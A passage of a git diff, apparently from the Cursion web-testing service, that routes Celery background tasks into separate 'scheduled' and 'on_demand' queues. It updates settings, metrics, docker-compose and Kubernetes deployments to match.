@@ -19,7 +19,7 @@ def create_and_send_report_export(report_id: id, email: str, first_name: str) ->
         'email'         : str prospect's email address 
         'first_name'    : str prospect's first name
     
-    Returns: {
+    Returns:
         'success' : bool if process started successfully
         'error'   : str any error msg from cursion server
     """
diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 3869a34b..96eed9a4 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -536,7 +536,7 @@ def generate_report(self) -> dict:
         """ 
         Generates a new Report.
 
-        Returns: {
+        Returns:
             'report' : object,
             'success': bool,
             'message': str
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index b09922c6..d917d09b 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -51,7 +51,7 @@ def register_user(request: object) -> object:
         'first_name' : str,
         'last_name'  : str,
 
-    Returns: {
+    Returns:
         'user'      : dict,
         'token'    : str,
         'refresh'   : str,
@@ -122,7 +122,7 @@ def login_user(request: object) -> object:
         'username' : str, (same as email unless 'admin')
         'password' : str
 
-    Returns: {
+    Returns:
         'user'      : dict,
         'token'     : str,
         'refresh'   : str,
@@ -804,7 +804,8 @@ def create_or_update_account(request: object=None, *args, **kwargs) -> object:
         )
 
         # create proepsct
-        create_prospect.delay(user_email=str(user.email))
+        queue = getattr(settings, 'CELERY_QUEUE_ON_DEMAND', 'on_demand')
+        create_prospect.apply_async(kwargs={'user_email': str(user.email)}, queue=queue, routing_key=queue)
     
     # serialize and return
     serializer_context = {'request': request,}
@@ -1057,12 +1058,14 @@ def create_or_update_member(request: object=None) -> object:
 
     # sending invite link
     if _status == 'pending' and send_invite:
-        send_invite_link_bg.delay(member_id=member.id)
+        queue = getattr(settings, 'CELERY_QUEUE_ON_DEMAND', 'on_demand')
+        send_invite_link_bg.apply_async(kwargs={'member_id': str(member.id)}, queue=queue, routing_key=queue)
     
     # sending removed alert and deleting
     if _status == 'removed':
         # method also deletes member
-        send_remove_alert_bg.delay(member_id=member.id)
+        queue = getattr(settings, 'CELERY_QUEUE_ON_DEMAND', 'on_demand')
+        send_remove_alert_bg.apply_async(kwargs={'member_id': str(member.id)}, queue=queue, routing_key=queue)
         data = {'message': 'Member removed'}
         response = Response(data, status=status.HTTP_200_OK)
         return response
@@ -1136,7 +1139,7 @@ def get_prospects(request: object) -> object:
     Args:
         'request': object
     
-    Returns: {
+    Returns:
         'count':    int total number of prospects
         'results':  list of Prospect objects
     """
@@ -1223,5 +1226,3 @@ def t7e(request: object) -> None:
             return Response({'success': False}, status=status.HTTP_200_OK)
 
 
-
-
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index e9465d12..64331ab5 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -319,7 +319,8 @@ def stripe_complete(request: object) -> object:
     account.save()
 
     # update prospect
-    create_prospect.delay(user_email=str(user.email))
+    queue = getattr(settings, 'CELERY_QUEUE_ON_DEMAND', 'on_demand')
+    create_prospect.apply_async(kwargs={'user_email': str(user.email)}, queue=queue, routing_key=queue)
 
     # serialize and return
     serializer_context = {'request': request,}
@@ -926,4 +927,3 @@ def check_coupon(request: object) -> object:
 
 
 
-
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 6bec06f4..7759dc92 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -23,6 +23,8 @@
 import json, boto3, os, requests, uuid, secrets, operator
 
 
+ON_DEMAND_QUEUE = getattr(settings, 'CELERY_QUEUE_ON_DEMAND', 'on_demand')
+
 
 
 
@@ -350,7 +352,7 @@ def site_in_sites(id) -> bool:
             
             # update price for sub if enterprise
             if account.type == 'enterprise':
-                update_sub_price.delay(account.id)
+                update_sub_price.apply_async(kwargs={'account_id': str(account.id)}, queue=ON_DEMAND_QUEUE, routing_key=ON_DEMAND_QUEUE)
 
 
     # check usage if action is 'add'
@@ -485,20 +487,24 @@ def create_site(request: object=None) -> object:
     )
 
     # auto gen Cases using bg_autocase_task
-    create_auto_cases_bg.delay(
-        site_id=site.id,
-        process_id=process.id,
-        start_url=str(site.site_url),
-        configs=configs,
-        max_cases=3,
-        max_layers=8
+    create_auto_cases_bg.apply_async(
+        kwargs={
+            'site_id': str(site.id),
+            'process_id': str(process.id),
+            'start_url': str(site.site_url),
+            'configs': configs,
+            'max_cases': 3,
+            'max_layers': 8,
+        },
+        queue=ON_DEMAND_QUEUE,
+        routing_key=ON_DEMAND_QUEUE,
     )
     
     # check if this is account's first site and onboarding = True
     if Site.objects.filter(account=account).count() == 1 \
         and onboarding == True:
         # send POST to landing/v1/ops/prospect
-        create_prospect.delay(user_email=str(user.email))
+        create_prospect.apply_async(kwargs={'user_email': str(user.email)}, queue=ON_DEMAND_QUEUE, routing_key=ON_DEMAND_QUEUE)
 
     # check if scan requested
     if no_scan == False:
@@ -528,9 +534,10 @@ def create_site(request: object=None) -> object:
         
         # starting crawler and scans in background
         else:
-            create_site_and_pages_bg.delay(
-                site_id=site.id, 
-                configs=configs
+            create_site_and_pages_bg.apply_async(
+                kwargs={'site_id': str(site.id), 'configs': configs},
+                queue=ON_DEMAND_QUEUE,
+                routing_key=ON_DEMAND_QUEUE,
             )
             
     # serialize response and return
@@ -586,7 +593,7 @@ def crawl_site(request: object=None, id: str=None, user: object=None) -> object:
     site.save()
 
     # starting crawl
-    crawl_site_bg.delay(site_id=site.id, configs=configs)
+    crawl_site_bg.apply_async(kwargs={'site_id': str(site.id), 'configs': configs}, queue=ON_DEMAND_QUEUE, routing_key=ON_DEMAND_QUEUE)
 
     # serializing and returning
     if request:
@@ -738,7 +745,7 @@ def delete_site(request: object=None, id: str=None, user: object=None) -> object
     site = Site.objects.get(id=id)
 
     # remove s3 objects
-    delete_site_s3_bg.delay(site_id=id)
+    delete_site_s3_bg.apply_async(kwargs={'site_id': str(id)}, queue=ON_DEMAND_QUEUE, routing_key=ON_DEMAND_QUEUE)
     
     # remove any associated tasks 
     delete_tasks_and_schedules(resource_id=str(site.id), scope='site', account=account)
@@ -764,7 +771,7 @@ def delete_site(request: object=None, id: str=None, user: object=None) -> object
 
         # update billing for enterprise
         if account.type == 'enterprise':
-            update_sub_price.delay(account_id=account.id)
+            update_sub_price.apply_async(kwargs={'account_id': str(account.id)}, queue=ON_DEMAND_QUEUE, routing_key=ON_DEMAND_QUEUE)
 
     # returning response
     data = {'message': 'site deleted'}
@@ -997,7 +1004,7 @@ def create_page(request: object=None) -> object:
         page.save()
 
         # running scan in background
-        scan_page_bg.delay(scan_id=scan.id)
+        scan_page_bg.apply_async(kwargs={'scan_id': str(scan.id), '_queue': ON_DEMAND_QUEUE}, queue=ON_DEMAND_QUEUE, routing_key=ON_DEMAND_QUEUE)
       
     # serialize response and return
     serializer_context = {'request': request}
@@ -1105,7 +1112,11 @@ def create_many_pages(request: object, http_response: bool=True) -> object:
                 page.save()
                 
                 # run scanner
-                scan_page_bg.delay(scan_id=scan.id, configs=configs)
+                scan_page_bg.apply_async(
+                    kwargs={'scan_id': str(scan.id), '_queue': ON_DEMAND_QUEUE},
+                    queue=ON_DEMAND_QUEUE,
+                    routing_key=ON_DEMAND_QUEUE,
+                )
 
                 # update info
                 succeeded.append(url)
@@ -1285,7 +1296,7 @@ def delete_page(request: object=None, id: str=None, user: object=None) -> object
     page = Page.objects.get(id=id)
 
     # remove s3 objects
-    delete_page_s3_bg.delay(page_id=id, site_id=page.site.id)
+    delete_page_s3_bg.apply_async(kwargs={'page_id': str(id), 'site_id': str(page.site.id)}, queue=ON_DEMAND_QUEUE, routing_key=ON_DEMAND_QUEUE)
 
     # remove any schedules and associated tasks
     delete_tasks_and_schedules(resource_id=str(page.id), scope='page', account=account)
@@ -1465,7 +1476,8 @@ def create_scan(request: object=None, **kwargs) -> object:
     Args:
         'request': object, 
     
-    Returns: dict or HTTP Response object
+    Returns:
+        dict or HTTP Response object
     """
 
     # check location
@@ -1542,6 +1554,7 @@ def create_scan(request: object=None, **kwargs) -> object:
 
     # setting default
     created_scans = []
+    queue = ON_DEMAND_QUEUE
 
     # looping through each page
     for p in pages:
@@ -1581,7 +1594,8 @@ def create_scan(request: object=None, **kwargs) -> object:
                 'scan_id': str(created_scan.id),
                 'alert_id': None,
                 'flowrun_id': None,
-                'node_index': None
+                'node_index': None,
+                '_queue': queue,
             }
         )
 
@@ -1610,19 +1624,19 @@ def create_scan(request: object=None, **kwargs) -> object:
         # running scans components in parallel 
         if 'html' in types or 'logs' in types or 'full' in types:
             task_id = f'lock:html_and_logs_bg_{created_scan.id}'
-            run_html_and_logs_bg.apply_async(kwargs={'scan_id':str(created_scan.id)}, task_id=task_id)
+            run_html_and_logs_bg.apply_async(kwargs={'scan_id': str(created_scan.id), '_queue': queue}, queue=queue, routing_key=queue, task_id=task_id)
         
         if 'lighthouse' in types or 'full' in types:
             task_id = f'lock:lighthouse_bg_{created_scan.id}'
-            run_lighthouse_bg.apply_async(kwargs={'scan_id':str(created_scan.id)}, task_id=task_id)
+            run_lighthouse_bg.apply_async(kwargs={'scan_id': str(created_scan.id), '_queue': queue}, queue=queue, routing_key=queue, task_id=task_id)
         
         if 'yellowlab' in types or 'full' in types:
             task_id = f'lock:yellowlab_bg_{created_scan.id}'
-            run_yellowlab_bg.apply_async(kwargs={'scan_id':str(created_scan.id)}, task_id=task_id)
+            run_yellowlab_bg.apply_async(kwargs={'scan_id': str(created_scan.id), '_queue': queue}, queue=queue, routing_key=queue, task_id=task_id)
         
         if 'vrt' in types or 'full' in types:
             task_id = f'lock:vrt_bg_{created_scan.id}'
-            run_vrt_bg.apply_async(kwargs={'scan_id':str(created_scan.id)}, task_id=task_id)
+            run_vrt_bg.apply_async(kwargs={'scan_id': str(created_scan.id), '_queue': queue}, queue=queue, routing_key=queue, task_id=task_id)
     
     # returning dynaminc response
     data = {
@@ -1941,16 +1955,17 @@ def delete_scan(request: object=None, id: str=None, user: object=None) -> object
     scan = Scan.objects.get(id=id)
 
     # remove s3 objects
-    delete_scan_s3_bg.delay(scan.id, scan.site.id, scan.page.id)
+    delete_scan_s3_bg.apply_async(kwargs={'scan_id': str(scan.id), 'site_id': str(scan.site.id), 'page_id': str(scan.page.id)}, queue=ON_DEMAND_QUEUE, routing_key=ON_DEMAND_QUEUE)
 
     # delete scan
     page_id = str(scan.page.id)
     scan.delete()
 
     # update page and site
-    update_site_and_page_info.delay(
-        resource='scan',
-        page_id=page_id
+    update_site_and_page_info.apply_async(
+        kwargs={'resource': 'scan', 'page_id': str(page_id)},
+        queue=ON_DEMAND_QUEUE,
+        routing_key=ON_DEMAND_QUEUE,
     )
 
     # return response
@@ -2144,7 +2159,8 @@ def create_test(request: object=None, **kwargs) -> object:
         'request': object, 
         'delay': bool
     
-    Returns: dict or HTTP Response object
+    Returns: 
+        dict or HTTP Response object
     """
 
     # check location
@@ -2368,15 +2384,20 @@ def create_test(request: object=None, **kwargs) -> object:
         test.save()
 
         # running test in background
-        create_test_bg.delay(
-            test_id=test.id,
-            configs=configs,
-            type=test_type,
-            index=index,
-            pre_scan=pre_scan_id, 
-            post_scan=post_scan_id,
-            tags=tags,
-            threshold=float(threshold),
+        create_test_bg.apply_async(
+            kwargs={
+                'test_id': str(test.id),
+                'configs': configs,
+                'type': test_type,
+                'index': index,
+                'pre_scan': pre_scan_id,
+                'post_scan': post_scan_id,
+                'tags': tags,
+                'threshold': float(threshold),
+                '_queue': ON_DEMAND_QUEUE,
+            },
+            queue=ON_DEMAND_QUEUE,
+            routing_key=ON_DEMAND_QUEUE,
         )
         message = 'Tests are being created in the background'
 
@@ -2706,16 +2727,17 @@ def delete_test(request: object=None, id: str=None, user: object=None) -> object
     test = Test.objects.get(id=id)
     
     # remove s3 objects
-    delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
+    delete_test_s3_bg.apply_async(kwargs={'test_id': str(test.id), 'site_id': str(test.site.id), 'page_id': str(test.page.id)}, queue=ON_DEMAND_QUEUE, routing_key=ON_DEMAND_QUEUE)
 
     # delete test
     page_id = str(test.page.id)
     test.delete()
 
     # update site and page with most recent data
-    update_site_and_page_info.delay(
-        resource='test',
-        page_id=page_id
+    update_site_and_page_info.apply_async(
+        kwargs={'resource': 'test', 'page_id': str(page_id)},
+        queue=ON_DEMAND_QUEUE,
+        routing_key=ON_DEMAND_QUEUE,
     )
 
     # return response
@@ -3704,6 +3726,7 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
             'type': types,
             'threshold': threshold,
             'alert_id': alert_id,
+            '_queue': getattr(settings, 'CELERY_QUEUE_SCHEDULED', 'scheduled'),
         }
 
         # setting start date default
@@ -3776,6 +3799,8 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
                     name=task_name, 
                     task=task,
                     kwargs=json.dumps(arguments),
+                    queue=getattr(settings, 'CELERY_QUEUE_SCHEDULED', 'scheduled'),
+                    routing_key=getattr(settings, 'CELERY_QUEUE_SCHEDULED', 'scheduled'),
                 )
                 # get periodic task by id
                 periodic_task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
@@ -3795,7 +3820,9 @@ def create_or_update_schedule(request: object=None, **kwargs) -> object:
             periodic_task = PeriodicTask.objects.create(
                 crontab=crontab, 
                 name=task_name, 
-                task=task,   
+                task=task,
+                queue=getattr(settings, 'CELERY_QUEUE_SCHEDULED', 'scheduled'),
+                routing_key=getattr(settings, 'CELERY_QUEUE_SCHEDULED', 'scheduled'),
             )
             
             # inserting task_id
@@ -3963,7 +3990,6 @@ def run_schedule(request: object=None) -> object:
     # get user and account
     user = request.user
     member = Member.objects.get(user=user)
-    account = member.account
 
     # checking account and resource 
     check_data = check_permissions_and_usage(
@@ -3980,6 +4006,8 @@ def run_schedule(request: object=None) -> object:
     task = schedule.task_type
     perodic_task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
     task_kwargs = json.loads(perodic_task.kwargs)
+    queue = getattr(settings, 'CELERY_QUEUE_ON_DEMAND', 'on_demand')
+    task_kwargs['_queue'] = queue
 
     # check location
     local = schedule.extras['configs'].get('location', settings.LOCATION)
@@ -3990,29 +4018,19 @@ def run_schedule(request: object=None) -> object:
     # decidign on which task 
     if task == 'scan':
         # run create_scan_bg
-        create_scan_bg.delay(
-            **task_kwargs
-        )
+        create_scan_bg.apply_async(kwargs=task_kwargs, queue=queue, routing_key=queue)
     if task == 'test':
         # run create_test_bg
-        create_test_bg.delay(
-            **task_kwargs
-        )
+        create_test_bg.apply_async(kwargs=task_kwargs, queue=queue, routing_key=queue)
     if task == 'caserun':
         # run create_caserun_bg
-        create_caserun_bg.delay(
-            **task_kwargs
-        )
+        create_caserun_bg.apply_async(kwargs=task_kwargs, queue=queue, routing_key=queue)
     if task == 'flowrun':
         # run create_flowrun_bg
-        create_flowrun_bg.delay(
-            **task_kwargs
-        )
+        create_flowrun_bg.apply_async(kwargs=task_kwargs, queue=queue, routing_key=queue)
     if task == 'report':
         # run create_report_bg
-        create_report_bg.delay(
-            **task_kwargs
-        )
+        create_report_bg.apply_async(kwargs=task_kwargs, queue=queue, routing_key=queue)
 
     # serialize and return
     serializer_context = {'request': request}
@@ -4802,7 +4820,7 @@ def delete_report(request: object=None, id: str=None) -> object:
     report = Report.objects.get(id=id)
 
     # remove s3 objects
-    delete_report_s3_bg.delay(report_id=id)
+    delete_report_s3_bg.apply_async(kwargs={'report_id': str(id)}, queue=ON_DEMAND_QUEUE, routing_key=ON_DEMAND_QUEUE)
     
     # remove report
     report.delete()
@@ -4834,10 +4852,10 @@ def export_report(request: object=None) -> object:
     first_name = request.data.get('first_name')
 
     # send task to background
-    create_report_export_bg.delay(
-        report_id=report_id,
-        email=email, 
-        first_name=first_name
+    create_report_export_bg.apply_async(
+        kwargs={'report_id': str(report_id), 'email': email, 'first_name': first_name},
+        queue=ON_DEMAND_QUEUE,
+        routing_key=ON_DEMAND_QUEUE,
     )
 
     # building response
@@ -4980,7 +4998,7 @@ def save_case_steps(steps: dict, case_id: str) -> dict:
         'steps'   : dict, 
         'case_id' : str
     
-    Returns: {
+    Returns:
         'num_steps' : int,
         'url'       : str
     """
@@ -5049,7 +5067,6 @@ def case_pre_run(request: object=None, **kwargs) -> object:
     
     # get member, and account
     member = Member.objects.get(user__id=user_id)
-    account = member.id
 
     # checking account and resource 
     check_data = check_permissions_and_usage(
@@ -5074,9 +5091,10 @@ def case_pre_run(request: object=None, **kwargs) -> object:
     )
 
     # start pre_run for new Case
-    case_pre_run_bg.delay(
-        case_id=str(case.id),
-        process_id=str(process.id)
+    case_pre_run_bg.apply_async(
+        kwargs={'case_id': str(case.id), 'process_id': str(process.id)},
+        queue=ON_DEMAND_QUEUE,
+        routing_key=ON_DEMAND_QUEUE,
     )
 
     # return dynamic
@@ -5316,13 +5334,17 @@ def create_auto_cases(request: object=None) -> object:
     )
 
     # send data to bg_autocase_task
-    create_auto_cases_bg.delay(
-        site_id=site_id,
-        process_id=process.id,
-        start_url=start_url,
-        configs=configs,
-        max_cases=max_cases,
-        max_layers=max_layers,
+    create_auto_cases_bg.apply_async(
+        kwargs={
+            'site_id': str(site_id),
+            'process_id': str(process.id),
+            'start_url': start_url,
+            'configs': configs,
+            'max_cases': max_cases,
+            'max_layers': max_layers,
+        },
+        queue=ON_DEMAND_QUEUE,
+        routing_key=ON_DEMAND_QUEUE,
     )
 
     # return response
@@ -5435,7 +5457,7 @@ def delete_case(request: object=None, id: str=None, user: object=None) -> object
     case = Case.objects.get(id=id)
     
     # delete case s3 objects
-    delete_case_s3_bg.delay(case_id=id)
+    delete_case_s3_bg.apply_async(kwargs={'case_id': str(id)}, queue=ON_DEMAND_QUEUE, routing_key=ON_DEMAND_QUEUE)
 
     # delete case
     case.delete()
@@ -5674,7 +5696,14 @@ def create_caserun(request: object=None) -> object:
     )
 
     # pass the newly created CaseRun to the backgroud task to run
-    run_case.delay(caserun_id=caserun.id)
+    run_case.apply_async(
+        kwargs={
+            'caserun_id': str(caserun.id), 
+            '_queue': ON_DEMAND_QUEUE
+        }, 
+        queue=ON_DEMAND_QUEUE, 
+        routing_key=ON_DEMAND_QUEUE
+    )
 
     # serialize and return
     data = {
@@ -5836,7 +5865,7 @@ def delete_caserun(request: object=None, id: str=None, user: object=None) -> obj
     caserun = CaseRun.objects.get(id=id)
 
     # remove s3 objects
-    delete_caserun_s3_bg.delay(caserun_id=id)
+    delete_caserun_s3_bg.apply_async(kwargs={'caserun_id': str(id)}, queue=ON_DEMAND_QUEUE, routing_key=ON_DEMAND_QUEUE)
 
     # delete caserun
     caserun.delete()
@@ -7689,14 +7718,34 @@ def get_celery_metrics(request: object=None) -> object:
     if cached:
         return Response(cached, status=status.HTTP_200_OK)
 
+    queue_param = None
+    try:
+        queue_param = request.query_params.get('queue')
+    except Exception:
+        queue_param = None
+
+    scheduled_queue = getattr(settings, 'CELERY_QUEUE_SCHEDULED', 'scheduled')
+    on_demand_queue = getattr(settings, 'CELERY_QUEUE_ON_DEMAND', 'on_demand')
+
     try:
         redis_client = Redis.from_url(
             settings.CELERY_BROKER_URL,
             socket_connect_timeout=2
         )
-        redis_queue_len = redis_client.llen('celery')
+        if queue_param in {scheduled_queue, on_demand_queue, 'celery'}:
+            redis_queue_len = redis_client.llen(queue_param)
+            scheduled_len = redis_client.llen(scheduled_queue) if queue_param == scheduled_queue else 0
+            on_demand_len = redis_client.llen(on_demand_queue) if queue_param == on_demand_queue else 0
+        else:
+            # default to total queued across known queues
+            scheduled_len = redis_client.llen(scheduled_queue)
+            on_demand_len = redis_client.llen(on_demand_queue)
+            legacy_len = redis_client.llen('celery')
+            redis_queue_len = scheduled_len + on_demand_len + legacy_len
     except RedisError:
         redis_queue_len = 0
+        scheduled_len = 0
+        on_demand_len = 0
 
     try:
         i = celery.app.control.inspect()
@@ -7705,11 +7754,23 @@ def get_celery_metrics(request: object=None) -> object:
     except Exception:
         reserved, active = {}, {}
 
+    def _count_tasks_by_queue(tasks_by_worker: dict, queue_name: str | None) -> int:
+        count = 0
+        for tasks in (tasks_by_worker or {}).values():
+            for task in tasks or []:
+                if not queue_name:
+                    count += 1
+                    continue
+                delivery = task.get('delivery_info') or {}
+                routing_key = delivery.get('routing_key')
+                if routing_key == queue_name:
+                    count += 1
+        return count
+
+    filter_queue = queue_param if queue_param in {scheduled_queue, on_demand_queue, 'celery'} else None
+
     # calc tasks
-    num_tasks = (
-            sum(len(tasks) for tasks in reserved.values()) +
-            sum(len(tasks) for tasks in active.values())
-        )
+    num_tasks = _count_tasks_by_queue(reserved, filter_queue) + _count_tasks_by_queue(active, filter_queue)
     
     # calc replicas
     num_replicas = len(reserved)
@@ -7723,6 +7784,8 @@ def get_celery_metrics(request: object=None) -> object:
         "num_replicas": num_replicas,
         "ratio": ratio,
         "redis_queue": redis_queue_len,
+        "redis_queue_scheduled": scheduled_len,
+        "redis_queue_on_demand": on_demand_len,
         "working_len": working_len
     }
 
@@ -7784,21 +7847,25 @@ def migrate_site(request: object=None) -> object:
     )
 
     # start migrtation task in background
-    migrate_site_bg.delay(
-        login_url, 
-        admin_url, 
-        username, 
-        password, 
-        email_address, 
-        destination_url, 
-        sftp_address, 
-        dbname, 
-        sftp_username, 
-        sftp_password, 
-        plugin_name, 
-        wait_time, 
-        process.id, 
-        driver
+    migrate_site_bg.apply_async(
+        args=[
+            login_url,
+            admin_url,
+            username,
+            password,
+            email_address,
+            destination_url,
+            sftp_address,
+            dbname,
+            sftp_username,
+            sftp_password,
+            plugin_name,
+            wait_time,
+            str(process.id),
+            driver,
+        ],
+        queue=ON_DEMAND_QUEUE,
+        routing_key=ON_DEMAND_QUEUE,
     )
     
     # serialize and return
@@ -7807,8 +7874,3 @@ def migrate_site(request: object=None) -> object:
     record_api_call(request, data, '201')
     response = Response(data, status=status.HTTP_201_CREATED)
     return response
-
-
-
-
-
diff --git a/app/cursion/settings.py b/app/cursion/settings.py
index 502ec9b6..0765ac26 100644
--- a/app/cursion/settings.py
+++ b/app/cursion/settings.py
@@ -13,6 +13,7 @@
 from pathlib import Path
 from datetime import timedelta
 import os
+from kombu import Exchange, Queue
 
 
 # Build paths inside the project like this: BASE_DIR / 'subdir'.
@@ -188,7 +189,21 @@
 
 
 # Redis and Celery Config
-CELERY_BROKER_URL = 'redis://redis:6379'
+CELERY_BROKER_URL = os.environ.get('CELERY_BROKER_URL', 'redis://redis:6379')
+
+# Celery queues
+CELERY_QUEUE_SCHEDULED = os.environ.get('CELERY_QUEUE_SCHEDULED', 'scheduled')
+CELERY_QUEUE_ON_DEMAND = os.environ.get('CELERY_QUEUE_ON_DEMAND', 'on_demand')
+
+# Default to scheduled so interactive work can reserve capacity via the on_demand workers
+CELERY_TASK_DEFAULT_QUEUE = os.environ.get('CELERY_TASK_DEFAULT_QUEUE', CELERY_QUEUE_SCHEDULED)
+CELERY_TASK_DEFAULT_EXCHANGE = os.environ.get('CELERY_TASK_DEFAULT_EXCHANGE', CELERY_TASK_DEFAULT_QUEUE)
+CELERY_TASK_DEFAULT_ROUTING_KEY = os.environ.get('CELERY_TASK_DEFAULT_ROUTING_KEY', CELERY_TASK_DEFAULT_QUEUE)
+CELERY_TASK_CREATE_MISSING_QUEUES = True
+CELERY_TASK_QUEUES = (
+    Queue(CELERY_QUEUE_SCHEDULED, Exchange(CELERY_QUEUE_SCHEDULED), routing_key=CELERY_QUEUE_SCHEDULED),
+    Queue(CELERY_QUEUE_ON_DEMAND, Exchange(CELERY_QUEUE_ON_DEMAND), routing_key=CELERY_QUEUE_ON_DEMAND),
+)
 
 
 # RabbitMQ and Celery Config
@@ -289,4 +304,3 @@
 # Global max attempts
 MAX_ATTEMPTS = 3
 
-
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 2281c003..b86466c9 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -58,16 +58,35 @@ services:
       - "6379"
 
 
-  celery:
-    container_name: cursion-celery
-    hostname: cursion-celery
+  celery-scheduled:
+    container_name: cursion-celery-scheduled
+    hostname: cursion-celery-scheduled
+    platform: linux/amd64
+    privileged: true
+    restart: always
+    build:
+      context: .
+      dockerfile: Dockerfile
+    entrypoint: ["/entrypoint.sh", "celery", "scheduled"]
+    env_file:
+      - ./env/.env.dev
+    volumes:
+      - celery:/app
+    depends_on:
+      - redis
+      - server
+      - db
+
+  celery-on-demand:
+    container_name: cursion-celery-on-demand
+    hostname: cursion-celery-on-demand
     platform: linux/amd64
     privileged: true
     restart: always
     build:
       context: .
       dockerfile: Dockerfile
-    entrypoint: ["/entrypoint.sh", "celery"]
+    entrypoint: ["/entrypoint.sh", "celery", "on_demand"]
     env_file:
       - ./env/.env.dev
     volumes:
@@ -94,7 +113,8 @@ services:
       - ./env/.env.dev
     depends_on:
       - redis
-      - celery
+      - celery-scheduled
+      - celery-on-demand
       - server
       - db
       
@@ -110,7 +130,8 @@ services:
       - "8383:8383"
     depends_on:
       - redis
-      - celery 
+      - celery-scheduled
+      - celery-on-demand
       - server
       - db
 
@@ -161,4 +182,4 @@ volumes:
   pgdata:
   certs:
   html:
-  vhost:
\ No newline at end of file
+  vhost:
diff --git a/docker-compose.yml b/docker-compose.yml
index 52c40e94..7b47d657 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -41,16 +41,35 @@ services:
       - "6379"
 
 
-  celery:
-    container_name: cursion-celery
-    hostname: cursion-celery
+  celery-scheduled:
+    container_name: cursion-celery-scheduled
+    hostname: cursion-celery-scheduled
+    platform: linux/amd64
+    privileged: true
+    restart: no
+    build:
+      context: .
+      dockerfile: Dockerfile
+    entrypoint: ["/entrypoint.sh", "celery", "scheduled"]
+    volumes:
+      - celery:/app
+    env_file:
+      - ./env/.env.local
+    depends_on:
+      - redis
+      - server
+      - db
+
+  celery-on-demand:
+    container_name: cursion-celery-on-demand
+    hostname: cursion-celery-on-demand
     platform: linux/amd64
     privileged: true
     restart: no
     build:
       context: .
       dockerfile: Dockerfile
-    entrypoint: ["/entrypoint.sh", "celery"]
+    entrypoint: ["/entrypoint.sh", "celery", "on_demand"]
     volumes:
       - celery:/app
     env_file:
@@ -77,7 +96,8 @@ services:
       - ./env/.env.local
     depends_on:
       - redis
-      - celery
+      - celery-scheduled
+      - celery-on-demand
       - server
       - db
 
@@ -92,7 +112,8 @@ services:
       - 8383:8383
     depends_on:
       - redis
-      - celery 
+      - celery-scheduled
+      - celery-on-demand
       - server
       - db
 
diff --git a/k8s/prod/celery-autoscaler.yaml b/k8s/prod/celery-autoscaler.yaml
index 589d4168..520e3a37 100644
--- a/k8s/prod/celery-autoscaler.yaml
+++ b/k8s/prod/celery-autoscaler.yaml
@@ -4,7 +4,7 @@ metadata:
   name: celery-scaler
 spec:
   scaleTargetRef:
-    name: celery-deployment
+    name: celery-scheduled-deployment
   cooldownPeriod:  300
   pollingInterval: 15
   minReplicaCount: 2
@@ -13,6 +13,6 @@ spec:
     - type: metrics-api
       metadata:
         targetValue: "10"
-        url: "https://api.cursion.dev/v1/ops/metrics/celery"
+        url: "https://api.cursion.dev/v1/ops/metrics/celery?queue=scheduled"
         valueLocation: "working_len"
-        timeout: "20000"
\ No newline at end of file
+        timeout: "20000"
diff --git a/k8s/prod/celery-on-demand-deployment.yaml b/k8s/prod/celery-on-demand-deployment.yaml
new file mode 100644
index 00000000..2429dcb6
--- /dev/null
+++ b/k8s/prod/celery-on-demand-deployment.yaml
@@ -0,0 +1,68 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  name: celery-on-demand-deployment
+  labels:
+    deployment: celery-on-demand
+spec:
+  replicas: 1
+  strategy:
+    type: RollingUpdate
+    rollingUpdate:
+      maxSurge: 50%
+      maxUnavailable: 50%
+  selector:
+    matchLabels:
+      app: celery-on-demand-deployment
+  template:
+    metadata:
+      labels:
+        app: celery-on-demand-deployment
+    spec:
+      terminationGracePeriodSeconds: 300
+      imagePullSecrets:
+        - name: regcred
+      containers:
+        - name: celery-on-demand
+          image: <IMAGE>
+          imagePullPolicy: IfNotPresent
+          command: ["/entrypoint.sh", "celery", "on_demand"]
+          envFrom:
+            - configMapRef:
+                name: app-configs
+          env:
+            - name: THIS_POD_NAME
+              valueFrom:
+                fieldRef:
+                  fieldPath: metadata.name
+            # remove below if not using NAT gateway
+            - name: HTTP_PROXY
+              value: "http://10.124.0.29:8888"
+            - name: HTTPS_PROXY
+              value: "http://10.124.0.29:8888"
+            - name: NO_PROXY
+              value: "localhost,127.0.0.1,.svc.cluster.local,10.0.0.0/8,.googleapis.com,.google.com,clients2.google.com,mtalk.google.com"
+          resources:
+            limits:
+              cpu: "1"
+              memory: "2.5Gi"
+            requests:
+              cpu: "0.75"
+              memory: "1.5Gi"
+          lifecycle:
+            preStop:
+              exec:
+                command: ["python3", "manage.py", "terminate_worker"]
+          livenessProbe:
+            exec:
+              command: ["/healthcheck.sh", "celery"]
+            initialDelaySeconds: 120
+            periodSeconds: 60
+            failureThreshold: 12
+          readinessProbe:
+            exec:
+              command: ["/healthcheck.sh", "celery"]
+            initialDelaySeconds: 120
+            periodSeconds: 60
+            failureThreshold: 12
+
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-scheduled-deployment.yaml
similarity index 90%
rename from k8s/prod/celery-deployment.yaml
rename to k8s/prod/celery-scheduled-deployment.yaml
index 76a0914c..0f02c070 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-scheduled-deployment.yaml
@@ -1,7 +1,7 @@
 apiVersion: apps/v1
 kind: Deployment
 metadata:
-  name: celery-deployment
+  name: celery-scheduled-deployment
   labels:
     deployment: celery
 spec:
@@ -13,11 +13,11 @@ spec:
       maxUnavailable: 50%
   selector:
     matchLabels:
-      app: celery-deployment
